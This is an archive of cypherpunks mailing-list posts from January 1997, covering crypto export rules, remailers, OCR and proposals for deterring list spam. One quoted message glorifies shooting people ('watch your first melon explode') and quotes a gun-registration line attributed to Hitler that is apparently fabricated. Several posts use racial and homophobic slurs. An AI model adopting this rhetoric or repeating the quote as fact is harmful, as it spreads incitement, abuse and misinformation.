The trouble with freedom is that it will be used in
ways we abhor. It then takes great self restraint to
avoid sacrificing it, just this once, to another end. One
may agree that it is immoral to treat a man according
to his race or religion and yet question whether that
moral preference deserves elevation to the level of that
principle of individual freedom and self-determination
If, every time an intensely-felt moral principle is involved,
we spend freedom, we will run short of it.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 3 Jan 1997 21:35:21 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Extremism in the defense of liberty is no vice
In-Reply-To: <NDuTZD58w165w@bwalk.dm.com>
Message-ID: <32CDE1DF.5722@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> 
> "Timothy C. May" <tcmay@got.net> writes:
> >
> > I'll continue to be radical in my views. Nothing wrong with extremism in
> > the defense of liberty, as some wise men said.

  How about extremism in the defense of moderation?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 3 Jan 1997 21:34:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: [Fwd: Re: Extremism in the defense of liberty is no vice]
Message-ID: <32CDE25A.63AB@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: message/rfc822


To: Dale Thorn <dthorn@gte.net>
Subject: Re: Extremism in the defense of liberty is no vice
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 03 Jan 1997 20:53:11 -0800
Organization: TOTO Enterprises
References: <NDuTZD58w165w@bwalk.dm.com> <32C9F4A4.6394@gte.net>
Reply-To: toto@sk.sympatico.ca

Dale Thorn wrote:
>  Hence the heavy emphasis on preventing
> this and that....

  Everything not permitted, is forbidden.
   George Orwell (maybe)








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 3 Jan 1997 21:34:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: [Fwd: Re: Extremism in the defense of liberty is no vice]
Message-ID: <32CDE274.C8C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: message/rfc822


To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Extremism in the defense of liberty is no vice
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 03 Jan 1997 20:49:29 -0800
Organization: TOTO Enterprises
References: <v03007801aeef0dff9afe@[207.167.93.63]>
Reply-To: toto@sk.sympatico.ca

Timothy C. May wrote:
 
> I'd say remailers have been a pretty powerful weapon in our arsenal, as
> have been offshore sites, the "anarchy" of the Net in general, and, of
> course, PGP and other such programs. 

  Border Radio was all about the radio-outlaws saying 'fuck regulations'
and building powerful stations in Mexico.
  Every time the government builds a better dike, someone/somewhere
builds a better drill, to put a hole in it.

Toto









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 3 Jan 1997 21:34:51 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Fed's blew it this time.
In-Reply-To: <056uZD74w165w@bwalk.dm.com>
Message-ID: <32CDE387.A30@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


The solution to world peace?
  We KILL all of the 'violent' people.
  (Thank you. Just put my Nobel Peace Prize in the mail.)

Toto

Dr.Dimitri Vulis KOTM wrote:
> 
> "Attila T. Hun" <attila@primenet.com> writes:
> 
> > -----BEGIN PGP SIGNED MESSAGE-----
> >
> > In <219sZD42w165w@bwalk.dm.com>, on 12/31/96
> >    at 11:59 AM, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
> >
> > ::> Timothy C. May wrote:
> > ::> >
> > ::> > Your message is the equivalent of that brain-damaged ebonite's
> > ::> > "Why can't we all just get along?"
> > ::>
> > ::> Tim,
> > ::>   Have you 'coined a phrase' here?
> > ::>   Perhaps future generations, reading of the exploits of the
> > ::>  'Ebonites', will recognize your contribution to the language.
> > ::>   Have you seen _Mars Attacks_ where Jack Nicholson, playing the
> > ::>   president, says just that?
> >
> > ::have you noticed that a lot of recent popular movies either portray
> > ::the U.S.G. as a bunch of crooks and criminals, or make fun of killing
> > ::them all (e.g. Mars Attacks). This would have been unthinkable 20
> > ::years ago.
> >
> >         20 years ago, the Vietnam protests were just dying down. the
> >     movie industry which has been one of the more vocal anti-war
> >     centers (except in making violent war movies which make money) was
> >     still somewhat respectful of the USG.
> 
> Was the media industry really anti-war, or just anti-Nixon? When Lyndon
> Johnson sent the troops to 'Nam, the media first supported him. When Nixon got
> elected, against the media's wishes, the media attacked him over everything he
> was doing, including the war, just like they attacked Reagan and Bush. I'm
> usure if Nixon had pulled out completely in '69, the media would have been
> pro-war. They're whores, like Declan McCulough.
> 
> Bombing the hell out of North Viet Nam targets was evil, but effective. But:
> compare the way USD is portrayed in _Apocalypse Now & _Deer Hunter (a
> monolythic machine servings some sinister purpose and killing the natives;
> white people are safe; the rogue gets terminated by USG itself) with the way
> it's portrayed in _Rambo and _Red Dawn (gubmint abandons the pow's*, abandons
> the locals; useless, but barely evil, and it's not clear how far up the evil
> goes) and with the way it's been portrayed in this year's movies: _Courage
> Under Fire (a bunch of criminals trying to cover up their fuckup, all the way
> to the top); _Ransom (the main villain is a NYC cop, other cops are useless;
> it's not Federales, but close enough); _Eraser ("rogue" WitSec, the cops are
> the enemies); _Professional (the top villain works for the DEA). Pop movies
> reflect the attitudes of the audience they're made for.
> 
> Dr. Grubor is a Viet Nam vet. I have great respect for him.
> 
> *) Klinton's being paid by the Indonesians to "normalize" relation with VC,
> incorporated by reference.
> 
> >         Other than the liberals who give Bubba a birthday party
> >     --probably more for their own publicity (except Barbra), most
> >     everybody is getting fed up with the government and beginning to
> >     realize the USG not only over governs, but the public is also
> >     beginning to understand the usurpation of power, and the basic
> >     unconstitutionality of the regulatory agencies.
> >
> >         Utah is as good an example as any; they have never been
> >     Fed supportive (even if it was Republican), but the church mandate
> >     is to support the government --however, they are quickly swinging
> >     to a large majority which not only does not like the Federal
> >     government, but who are also actively stating the government is
> >     illegal--  and the church is silent.
> >
> >         The other Intermountain states have been just plain independent
> >     minded, but tolerated the Feds. Not any more.  Idaho and eastern
> >     Washington are not a safe place for the Feds.  Montana makes no
> >     bones about it; Wyoming, Colorado, and New Mexico are vocal. And AZ
> >     is as pissed as they come over the MJ pronouncement "--what do you
> >     mean the Feds are telling us our vote is worthless and our States'
> >     Rights don't mean pig shit."  Nobody particularly cares about the
> >     MJ, it's the pure and simple emphasis on States' Rights and the
> >     Voters' Rights to self-determination and the 10th Amendment.
> >
> >         Analysis of California attitudes is even more revealing; the
> >     statement the DEA would pull prescription permits from doctors
> >     prescribing maryjane in AZ and CA has stirred a firestorm which
> >     will only get larger.
> 
> Is that why the criminal Usenet Cabal is interfering with the propagation
> of sci.med.cannabis and other MJ-related Usenet newsgroups?
> 
> >             The people spoke and the Feds said: "Fuck You!"
> >
> >         The question then is, how long before the Eastern whimps and
> >     liberal tit suckers wake up and realize they too are about to lose
> >     the option of being liberal tit suckers?
> >
> >         Of all things, MJ may be the last straw (going up in smoke
> >     <g>); now, if the press will get off their sensationalism on the
> >     CDA and talk about what it is we are really fighting --free speech
> >     as a whole, Thomas Jefferson might wake up one day soon and say:
> >     "Alright!  but it took you stupid bastards more than the 20 years
> >     to have a little revolution to teach Washington who the government
> >     serves!"
> 
> I have little regard for Thomas Jefferson and rest of the "founding fathers"
> gang. Their revolution replaced one bunch of oppressors with another; no
> wonder it was followed by Shay's (sp?) Rebellion (whose farmer leaders were
> sentenced to hang for treason; later commuted); and Alien and Sedition Acts.
> 
> >         Maybe Bubba needs a little more cocaine so he gets "brave"
> >     enough to call in UN troops to quell a riot...   then WE watch the
> >     fun. Some of you sissies might even lift your hardware and watch
> >     your first melon explode.  After the first one, it's easy.
> >
> >         For the first time a civilized nation has full gun
> >         registration! Our streets will be safer, our police more
> >         efficient, and the world will follow our lead in the
> >         future.
> >                     --Adolf Hitler (1935)
> >
> >     Is Adolf's future here again?
> 
> I had a great-grandfather named Adolf.  The Communists killed him.
> 
> >         46. The U.S. government declares a ban on the possession,
> >         sale, transportation, and transfer of all non-sporting
> >         firearms.  ...Consider the following statement:
> >
> >             I would fire upon U.S. citizens who refuse or resist
> >             confiscation of firearms banned by the U.S. government.
> >
> >                 --The USMC Combat Arms Survey
> >
> >     The same survey had questions of obeying commands from UN officers,
> >     and obeying commands from UN officers on US territory, and against
> >     US citizens.  Anybody who wants a copy of the whole survey, send
> >     me email.
> >
> >         This was not somebody's master thesis; on some special
> >     operations bases it was given by a major, others a light bird, etc.
> >     all SEALS and USMC spec-op groups were given the "test"  --the
> >     younger men were >85% compliant; the reuppers and lifers were real
> >     low on compliance (~15%).  Our PC and revisionist history has built
> >     the generation they want: functionally illiterate "world-oriented"
> >     cannon fodder.
> 
> How does one brainwash a brainless "cypher punk"?
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 3 Jan 1997 21:35:10 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: Fed's blew it this time.
In-Reply-To: <Pine.LNX.3.95.970101170850.29564G-100000@dhp.com>
Message-ID: <32CDE461.74DA@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


>             The people spoke and the Feds said: "Fuck You!"

  Bend over and vote.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Stewart <steve@resudox.net>
Date: Fri, 3 Jan 1997 18:21:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: OCR and Machine Readable Text
In-Reply-To: <3.0.1.32.19970102225436.01072284@mail.teleport.com>
Message-ID: <32CDBDD9.2A27@resudox.net>
MIME-Version: 1.0
Content-Type: text/plain


 I have used OCR a fair bit, and I agree with you,  I think
you're being generous by saying  even a 65% accuracy rate. I think
our OCR technology today is pathetic, and it would be quicker just to type
the damn documents ourselves. I've used a bunch of different packages from
guys like HP, and others. I certainly don't know what Alan Olsen was using.
Then again, it obviously depends on the quality of the documents you are
scanning. So If you had perfect crisply printed, beautiful documents, then
maybe you'd get a good accuracy rate. But nice documents, are usually ones
generated recently, therefore probably already on the computer, and so
they don't even need to scanned. You see what I'm getting at, all the documents
we don't have on the computer are, usually, older ones and therefore of
lesser quality, so that's why our OCR fails almost more often than not.
I guess I'm being a little harsh, I mean this type of technology is quite
revolutionary and actually quite amazing, but it's far, far from perfect.

 

Just my 2 cents...

 

    Steve




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ph@netcom.com (Peter Hendrickson)
Date: Fri, 3 Jan 1997 21:45:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Modified Token Posting Scheme
Message-ID: <v02140b00aef397cb9933@[192.0.2.1]>
MIME-Version: 1.0
Content-Type: text/plain


The proposal to limit "noise" posts by using re-usable tokens is
interesting because it has the effect of filtering and at the same
time remains responsive because the "moderator" passes judgement
after posting has occurred.

In essence, the poster is betting that the moderator will approve
the post retroactively.

The purpose of limiting the tokens available is to give them value
so that there is a cost associated with losing the bet.

However, distribution of the tokens has the same problems that centrally
planned economies have distributing bread.  Should people wait in line,
receive bread at random, or get their bread through connections?  None of
these solutions is attractive.

The right way to implement the scheme is to use dollars for tokens
because the USG has already solved the problem of giving the tokens
value.

The "moderator" returns the money to people when posts are worthwhile
and keeps it otherwise.  This means that the "bet" can be quite a bit
larger than a dollar because responsible posters will get their money
back.  Starving graduate students will not be discouraged from posting.
Abusive posters, anonymous posters, or spam artists will have to pay
a substantial fee for the privilege.

Of course, there's no reason to have just one moderator on the list.
A moderator could just be an e-mail account that forwards mail to
the list if valid payment is received.  (Moderators should PGP sign
their messages so mail forging won't work.)  Readers could filter
on which moderators have approved the kinds of posts they want to read.

The effect of this scheme is to allow newcomers, infrequent posters,
or anonymous posters to get through killfiles without taking the
time and effort to develop a reputation.

Peter Hendrickson
ph@netcom.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 3 Jan 1997 21:35:06 -0800 (PST)
To: Hal Finney <hal@rain.org>
Subject: Re: Hardening lists against spam attacks
In-Reply-To: <199612312032.MAA04214@crypt.hfinney.com>
Message-ID: <32CDEE8F.3956@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Hal Finney wrote:
> 
> We might also want to consider the paradoxical possibility that if we
> remove the junk, the list will die!  At least now we are constantly
> reminded that the cypherpunks list exists.  Other lists like the
> cryptography and coderpunks can sometimes go for quite a while without
> any posts at all.  On CP you have the sense of a dynamic community where
> you can hope for a response to your posts, more so than on a list which
> is silent for days at a time.

Hal,
 Have you been watching "It's A Wonderful Life", with Jimmy Stewart,
again?

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 3 Jan 1997 21:35:22 -0800 (PST)
To: Peter Hendrickson <ph@netcom.com>
Subject: Re: Hardening lists against spam attacks
In-Reply-To: <v02140b0aaeef4195b36f@[192.0.2.1]>
Message-ID: <32CDF0D3.123B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Peter Hendrickson wrote:

> People who don't like using PGP, or can't use it, or won't use it,
> do not belong on this list.

  Does this also apply to people who don't 'trust' PGP, or who feel 
more secure using another form of encryption?
  Are you working on a 'commission' basis, here?

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 3 Jan 1997 21:35:26 -0800 (PST)
To: Peter Hendrickson <ph@netcom.com>
Subject: Re: Hardening lists against spam attacks
In-Reply-To: <v02140b0baeef492d7c2f@[192.0.2.1]>
Message-ID: <32CDF37F.3A13@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Peter Hendrickson wrote:

> I don't believe that people making valuable contributions have any
> trouble at all coughing up a dollar to do so.  Very few people post
> more than 10 messages a month.  $10/month isn't much of a burden.

  I agree.
  Poor people have nothing of value to contribute to society. They 
probably ought to be in a camp somewhere, so that they don't bother
the hi-rollers.  They can share bunks with the disabled.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 3 Jan 1997 21:37:05 -0800 (PST)
To: Peter Hendrickson <ph@netcom.com>
Subject: Re: Hardening lists against spam attacks
In-Reply-To: <v02140b0eaeef52d6c14f@[192.0.2.1]>
Message-ID: <32CDF437.13C7@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Peter Hendrickson wrote:

> If our custom was to send money to people who make good posts, then
> you could imagine the fee being quite high, say $20, since most of
> the money will be made back.  Voila! We have a wonderful feedback
> system for how much contribution we have made.

   And there would be no possibility of ending up with a forum
consisting
of those with the most money spending all of their time agreeing with
one another.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Name Withheld by Request)
Date: Fri, 3 Jan 1997 13:25:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: 'Fuck_God_Up_The_Ass' (was: invitation)
Message-ID: <199701032125.WAA26094@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


fgle@sun1.uconect.net spammed:

> Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id HAA09438 for cypherpunks-outgoing; Fri, 3 Jan 1997 07:09:39 -0800 (PST)
> Received: from sun1.uconect.net ([206.156.42.50]) by toad.com (8.7.5/8.7.3) with SMTP id HAA09425 for <cypherpunks@toad.com>; Fri, 3 Jan 1997 07:09:27 -0800 (PST)
> From: fgle@sun1.uconect.net
> Received: from fgle.uconect.net ([206.156.55.17]) by sun1.uconect.net (8.6.12/8.6.12) with SMTP id KAA13920 for <cypherpunks@toad.com>; Fri, 3 Jan 1997 10:07:22 -0500
> Date: Fri, 3 Jan 1997 10:07:22 -0500
> Message-Id: <199701031507.KAA13920@sun1.uconect.net>
> To: cypherpunks@toad.com
> Subject: invitation
> Sender: owner-cypherpunks@toad.com
> Precedence: bulk
> X-Newsgroups: list.cypherpunks
> 
> Fuck_God_Up_The_Ass,

[snip]

> Douglas Cymbala
> Membership Department

I somehow doubt that Douglas has sufficient Vaseline to fulfill his
erotic fantasies!  (Or his "god" is rather small...)

How many clueless spammers need to get stung by indiscriminately
posting to spam-bait addresses planted in Usenet until they figure
out that it's a Really Bad Idea[tm]?

I've heard rumors that at least one idjit spammer lost his account
for spamming a religious mailing list with something like that!  Can
you say "oops"?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ph@netcom.com (Peter Hendrickson)
Date: Fri, 3 Jan 1997 23:07:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Naive Export Question
Message-ID: <v02140b00aef3aeff55fd@[192.0.2.1]>
MIME-Version: 1.0
Content-Type: text/plain


Given that:
1. It is legal to export books with printed source code.
2. It is legal for foreigners to type it in.
3. It is legal for foreigners to post what they typed.
4. It is legal to pay foreigners to type things into a computer.

It seems to me that it would be legal for the author of a book with
source code to pay foreigners to type in the code and post it.  The
cost of doing so is small compared to the cost of writing and
publishing the book.

I assume that this is illegal, but which laws does it violate?

Peter Hendrickson
ph@netcom.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 3 Jan 1997 22:23:21 -0800 (PST)
To: panther@iglou.com
Subject: Re: OCR and Machine Readable Text
In-Reply-To: <32CD435E.24DC@iglou.com>
Message-ID: <199701040726.XAA17982@songbird.com>
MIME-Version: 1.0
Content-Type: text


/**\\anonymous/**\\ allegedly said:
> 
> Alan Olsen wrote:
> > I used to work for a company that would transfer entire archives of medical
> > journals.  Much of it we would just OCR.  Some of it we would send off
> > shore.  The OCR software was about 95% reliable and this was over 5 years
> > ago.  (And we were using 286 boxes for much of the OCR work.  Not a heavy
> > technoligical investment.)  I am sure that things have improved a great
> > deal since then.  (My new scanner included OCR software.  I will have to
> > run a test and report the findings.
> 
> 	I'd like to know what OCR software you were using.  All tests we
> completed at my place of employment were very poor quality wise.  We
> showed
> a %65 accuracy rate.  Not very good when you need to transfer a five
> year
> backlog of medical and technical journals.  This was using a high
> resolution
> scanner with a package that was bundled along with it.  About a year
> ago,
> my employer considered transfering data taken off of forms into a
> relational
> database using an OCR program.  Again, we found the findings to be too
> innacurate for our needs.  I may have just been using the wrong programs
> for
> the job, but the findings were depressing...

My understanding is that the most efficient way of inputting text is 
"double typing" where two people type the same document, and a 
mechanical comparison of the result is used to find errors.  

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 3 Jan 1997 23:43:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ANNOUNCEMENT] ElGamal
Message-ID: <199701040743.XAA07918@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[ocksucker] May proves that the Midwestern gene pool needs 
some chlorine in it.

        /\ \  / /\
       //\\ .. //\\ Tim C[ocksucker] May
       //\((  ))/\\
       /  < `' >  \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 4 Jan 1997 00:40:17 -0800 (PST)
To: Bovine Remailer <haystack@cow.net>
Subject: Re: Hardening lists against spam attacks
In-Reply-To: <9701020637.AA04024@cow.net>
Message-ID: <32CE0EA2.3471@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bovine Remailer wrote:
> 
>         So, we had a spike of spam attack around Christmas,
> primarily using the mechanism of subscribing the cypherpunks
> list to other mailing lists. Now, everybody is off designing
> methods to limit postings to the list.
> 
>         You know what this reminds me of? The enthusiasm displayed
> by the the current US government administration to get bills passed
> that would curtail even more rights of its citizens in the wake of
> the TWA flight 800 crash.

  Perhaps the solution is to put in a system of mettle detectors.
 
>         Cypherpunks, you have met the enemy and it is you.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 3 Jan 1997 21:37:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: EAR Doc
Message-ID: <1.5.4.32.19970104053335.0069ccd8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We've prepared a hyperlinked version of the Export
Administration Regulations (EAR) to assist analysis, 
evaluation and commentary on interim rules for 
encryption export:

   http://jya.com/eartoc.htm

It's sobering to study the EAR and see the lethal 
weapons to which encryption is wed -- the most 
mass-murderous of high-technology calmly described 
as commercial warfare for the commonweal.

Ponder the Commerce Control list to see the mayhem
elite minds concoct.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@cow.net>
Date: Fri, 3 Jan 1997 22:00:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <9701040543.AA00966@cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Big Brother's little helpers:
http://www.anet-stl.com/~wrogers/biometrics/index.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sat, 4 Jan 1997 00:44:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Personal use exception to ITAR/EAR
Message-ID: <3.0.32.19970104004631.006b8bb8@ricochet.net>
MIME-Version: 1.0
Content-Type: text/plain


Someone wrote to the list in the last day or so (I seem to have mislaid the
message) asking what happened to the ITAR's personal use exemption. The
introductory comments to the new 12/30/96 regs indicate that:

"License Exceptions TMP and BAG effectively replace the Department of
State's personal use exemption." (Federal Register, p. 68575)

License exception TMP is described at 15 CFR 740.4, and BAG is described at
15 CFR 740.9, both of which are available via John Young's helpful
hypertext version of the EARs at <http://jya.com/740.htm>. 

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 4 Jan 1997 01:38:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Naive Export Question
In-Reply-To: <v02140b00aef3aeff55fd@[192.0.2.1]>
Message-ID: <v03007801aef3d5e0a084@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:07 PM -0800 1/3/97, Peter Hendrickson wrote:
>Given that:
>1. It is legal to export books with printed source code.
>2. It is legal for foreigners to type it in.
>3. It is legal for foreigners to post what they typed.
>4. It is legal to pay foreigners to type things into a computer.
>
>It seems to me that it would be legal for the author of a book with
>source code to pay foreigners to type in the code and post it.  The
>cost of doing so is small compared to the cost of writing and
>publishing the book.
>
>I assume that this is illegal, but which laws does it violate?


This is known as "structuring," as with structuring of funds transfers with
the apparent intent of avoiding certain laws.

(Not really, but I would not be surprised if the courts give some latitude
to prosecutions along these lines, or if specific language is eventually
added to make such circumventions a felony.)

All in all, as the various posts about Bernstein, Karn, OCR, the MIT Press
version of PGP, etc. have shown, attempting to block cryptographic code
from leaving the U.S. is a lost cause, for many reasons.

On a related topic, my hunch is that it is much more likely for a
prosecution to involve a major software company skirting the ITAR/EAR rules
by subcontracting with offshore companies (e.g., RSADSI using the NEC
chips, or Cylink using Israeli programmers) than it is that some lowly Net
person will be proscuted for dribbling out a few hundred lines of some
crypto program.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Frank O'Dwyer" <fod@brd.ie>
Date: Fri, 3 Jan 1997 18:04:10 -0800 (PST)
To: Eric Murray <franz@netcom.com
Subject: Re: Hardening lists against spam attacks
In-Reply-To: <199701032232.OAA24347@slack.lne.com>
Message-ID: <199701040151.BAA01396@toby.brd.ie>
MIME-Version: 1.0
Content-Type: text/plain



> > It would be nice if each user could install filters on Majordomo itself.
> > Not only would we not need to buy Eudora Pro, but we wouldn't have to
> > pay to download messages we didn't want to read, and without having
> > to employ a moderator (censor).
>  
> Bad idea.  It's tough enough on the host running a list with 1500 or
> 2000 people on it.  Adding outbound filtering for each user would
> be a real burden on the list host.  It's better to distribute the
> processing by making the user agent (or mail transport that's delivering
> to the user) do the filtering.

I guess you're not paying for your mail then :-)  Just stand back from
this for a moment -  doesn't it seem just nonsensical to have a robot 
(majordomo) cranking out 10s of messages to 1000s of users, day in day 
out, just for other robots (filters) to delete them?  And to pay for 
the privilege?

I mean, is it really better to consume the cycles on _everybody's_ 
machine, _plus_ use all that bandwidth? I'd say that's not obvious.  
Granted, it takes my creaking old 486 about 10 minutes for exmh to do 
a filtered 'inc' on the new mail. However I have to pay the phone bills 
to download all the cruft in the first place, just in order to get the 
rare nugget. And I can't use my mailer while the 'inc' is running. And if 
everyone else is paying and and waiting too, then maybe it turns out to 
be better for the messages to be filtered centrally, so we all waste less 
time and money, even if the server does heat up a little. (Hell, I might 
even chip in to upgrade the list server if that's what it took, and still 
save money.)

Besides, it's not necessarily true that filtering would make the server load
significantly worse (certainly not if PGP is the other option), or even 
that it makes it worse at all. For example, the overhead on doing a lookup 
on a short list of filtered users might well be more than offset by not 
having to send the message. (Having once seen a DEC alpha brought to its 
knees by 'sendmail', I can believe that...).  If processing turned
out to be a genuine problem then maybe the list could be split over 
several servers. (In an ideal world, of course, the filtering agents 
would be mobile, and would learn to back all the way up the pipe and 
would eventually run on the spammer's machines :-)

> In addition, a filtering majordomo will only 'protect' the lists that it
> serves.  I don't know about you but I get a lot of spam from all sorts
> of different sources.  I need to have a filter anyhow.  It's not hard to
> add some more rules to filter out each lists's bozos.  It's a lot
> simpler to do that than it would be to upload filter rules to each
> of the 10 or 12 listservers I get mail from.

True, but I'd sure love not to have to download some of the cruft down 
the old 28.8 line in the first place...I suppose IMAP would have the same
thing going for it but it's not here yet (plus you still have all that
list cruft that 99% of people filter or delete going up and down the 
internet).  

[ deletia ... The security issues you mention are real, but so are 
the solutions you mention :-) ]

Cheers,
Frank O'Dwyer.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: roy@sendai.scytale.com (Roy M. Silvernail)
Date: Sat, 4 Jan 1997 01:34:54 -0800 (PST)
To: ph@netcom.com (Peter Hendrickson)
Subject: Re: Modified Token Posting Scheme
In-Reply-To: <v02140b00aef397cb9933@[192.0.2.1]>
Message-ID: <970104.021030.1j3.rnr.w165w@sendai.scytale.com>
MIME-Version: 1.0
Content-Type: text


-----BEGIN PGP SIGNED MESSAGE-----

In list.cypherpunks, ph@netcom.com writes:

> In essence, the poster is betting that the moderator will approve
> the post retroactively.

> The "moderator" returns the money to people when posts are worthwhile
> and keeps it otherwise.

> Of course, there's no reason to have just one moderator on the list.

In the case of several moderators, who gets the ecash?  And doesn't this
open the list to bidding?  "Pass this message, and you can keep the
e$500."
- -- 
           Roy M. Silvernail     [ ]     roy@scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
      Key available from pubkey@scytale.com, which works now

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMs4Q8hvikii9febJAQEbrAQAmgwAeqSsi2qIkqakNRPCpwCwNnYudNRi
SuPE2LueC+WuhugtLeyDDet+WgefE9X84F4qxn/QVB+tJAGbZzfCPO24shelXEyz
ngr0oevKqzcfAAzbB4tMtXe5gl6+zykExXjsx4J/KjMNPL0QAE490uvnKqus/aE8
mSlAU9k/KQo=
=ik7B
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rapidd@gtwinc.com
Date: Sat, 4 Jan 1997 01:43:39 -0800 (PST)
To: Freedom@For.You
Subject: "FREEDOM for you this New Year"
Message-ID: <QQbxac11261.199701040933@alterdial.UU.NET>
MIME-Version: 1.0
Content-Type: text/plain


*********************************************************
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*********************************************************

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ph@netcom.com (Peter Hendrickson)
Date: Sat, 4 Jan 1997 07:49:16 -0800 (PST)
To: roy@scytale.com
Subject: Re: Modified Token Posting Scheme
Message-ID: <v02140b00aef428407574@[192.0.2.1]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:10 AM 1/4/1997, Roy M. Silvernail wrote:
>In list.cypherpunks, ph@netcom.com writes:
>> In essence, the poster is betting that the moderator will approve
>> the post retroactively.

>> The "moderator" returns the money to people when posts are worthwhile
>> and keeps it otherwise.

>> Of course, there's no reason to have just one moderator on the list.

> In the case of several moderators, who gets the ecash?  And doesn't this
> open the list to bidding?  "Pass this message, and you can keep the
> e$500."

The moderator keeps the cash.  The moderator is pulled in several
directions.  He or she wants to keep the money but also wants people
to post through him or her.  The moderator also wants to be credible
or their services will not be required.

If it is implemented in a decentralized manner, the list is not up for
bidding, but the ability to get past killfiles is.  That is, anybody
can post to the list, but some people will only read things coming from
